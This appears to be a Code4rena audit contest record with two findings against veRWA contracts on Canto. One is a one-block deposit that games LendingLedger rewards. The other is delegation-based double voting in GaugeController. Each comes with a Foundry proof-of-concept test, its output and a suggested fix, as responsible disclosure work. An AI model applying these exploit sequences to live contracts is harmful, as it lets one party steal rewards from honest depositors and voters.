Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 25/125
Findings: 2
Award: $179.98
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SpicyMeatball
Also found by: 0xComfyCat, GREY-HAWK-REACH, Yanchuan, cducrest, immeas, kaden, mert_eren, nonseodion, pep7siup, popular00, ppetrov
143.0396 USDC - $143.04
LendingLedger calculates rewards from the deposit the user had by the end of each epoch - it doesn't matter if deposits and withdrawals happen during epochs. This opens up an opportunity of depositing funds for as little as one block per week (the last block) to get rewards.
Scenario:
Bob repeats steps 2-4 every epoch.
This allows Bob to deposit funds for just one block per epoch to claim the same CANTO rewards as Alice, while also receiving other protocol's rewards. Alice, despite being the sole depositor of the LM for the whole epoch, gets only a half of rewards. Gas wouldn't be an issue, as veRWA is on Canto.
Add to LendingLedger.t.sol:
/*...*/ address lender1; function setUp() public { /*...*/ lender1 = users[2]; } function testRepeatedOneBlockDepositAndClaim() public { // copied from setupStateBeforeClaim whiteListMarket(); vm.prank(goverance); ledger.setRewards(fromEpoch, fromEpoch + 10 * WEEK, amountPerEpoch); payable(ledger).transfer(1000 ether); vm.warp(WEEK * 5); int256 delta = 1.1 ether; vm.prank(lendingMarket); ledger.sync_ledger(lender, delta); for (uint i; i < 10; i++) { uint256 balanceAliceBefore = address(lender).balance; uint256 balanceBobBefore = address(lender1).balance; // Bob deposits funds in the last block of the epoch (same amount as Alice) skip(604794); vm.prank(lendingMarket); ledger.sync_ledger(lender1, delta); // Bob withdraws funds in the next block skip(6); vm.prank(lendingMarket); ledger.sync_ledger(lender1, -1 * delta); vm.prank(lender); ledger.claim(lendingMarket, fromEpoch, fromEpoch); vm.prank(lender1); ledger.claim(lendingMarket, fromEpoch, fromEpoch); uint256 balanceAliceAfter = address(lender).balance; uint256 balanceBobAfter = address(lender1).balance; // Bob and Alice receive the same rewards assertTrue( balanceAliceAfter - balanceAliceBefore == amountPerEpoch / 2 ); assertTrue( balanceBobAfter - balanceBobBefore == amountPerEpoch / 2 ); fromEpoch += WEEK; } }
Malicious users can claim significant rewards while providing liquidity only for one block per week.
In the extreme scenario, whales will use this strategy to collect nearly all CANTO rewards from every market.
Foundry
Сalculate users' rewards from their lowest balance (or time-weighted average) during the epoch.
Error
#0 - c4-pre-sort
2023-08-12T02:09:42Z
141345 marked the issue as duplicate of #71
#1 - c4-judge
2023-08-25T11:00:07Z
alcueca changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-08-25T11:01:29Z
alcueca changed the severity to 3 (High Risk)
#3 - c4-judge
2023-08-25T11:03:48Z
alcueca marked the issue as satisfactory
🌟 Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211-L278
User can create a lock and vote for a certain gauge. After the user has voted he can delegate his votes to another address of his own, which has created a lock with only 1 wei Canto. The other address can vote again for the same gauge, increasing the gauge weight. Afterwards the initial user can delegate again to a third address of his own. He can do that infinitely paying only the gas for the transactions, and creating locks with 1 wei Canto. Doing that a malicious attacker can increase a gauge weight by a lot for a gauge he has staked tokens. Thus receiving much more rewards than he is supposed to, thus stealing rewards from non-malicious users.
You can add the following test to the GaugeController.t.sol
function test_DoubleVoting() public { //Add gauges assertTrue(!gc.isValidGauge(gauge1)); vm.startPrank(gov); gc.add_gauge(gauge1); gc.change_gauge_weight(gauge1, 100); console.log("here is the gauge weight: ", gc.get_gauge_weight(gauge1)); vm.stopPrank(); assertTrue(gc.isValidGauge(gauge1)); // Create 3 locks vm.deal(user1, 100 ether); vm.deal(user3, 1 ether); vm.deal(user4, 1 ether); uint256 v = 100 ether; uint256 v3 = 1 ether; vm.startPrank(user3); ve.createLock{value: v3}(v3); vm.stopPrank(); vm.startPrank(user4); ve.createLock{value: v3}(v3); vm.stopPrank(); vm.startPrank(user1); ve.createLock{value: v}(v); gc.vote_for_gauge_weights(gauge1, 10_000); console.log("here is the gauge weight after first vote from user1: ", gc.get_gauge_weight(gauge1)); vm.stopPrank(); vm.startPrank(user1); ve.delegate(user3); vm.stopPrank(); vm.startPrank(user3); gc.vote_for_gauge_weights(gauge1, 10_000); console.log("here is the gauge weight after user1 delegated to user3: ", gc.get_gauge_weight(gauge1)); vm.startPrank(user1); ve.delegate(user4); vm.stopPrank(); vm.startPrank(user4); gc.vote_for_gauge_weights(gauge1, 10_000); console.log("here is the gauge weight after user1 delegated to user4: ", gc.get_gauge_weight(gauge1)); }
The logs are as follows:
here is the gauge weight: 100 here is the gauge weight: 100 here is the gauge weight after first vote from user1: 99342465753378960100 here is the gauge weight after user1 delegated to user3: 199678356164330870500 here is the gauge weight after user1 delegated to user4: 300014246575282780900
Manual Review
Reconsider using delegation in VotingEscrow as in veCRV there is no delegation. Or implement a logic that tracks if a user has already voted, and don't allow him to delegate votes during the epoch he voted for.
Error
#0 - c4-pre-sort
2023-08-11T13:30:06Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:16:54Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:14Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:35:25Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:35:34Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:55:02Z
alcueca marked the issue as satisfactory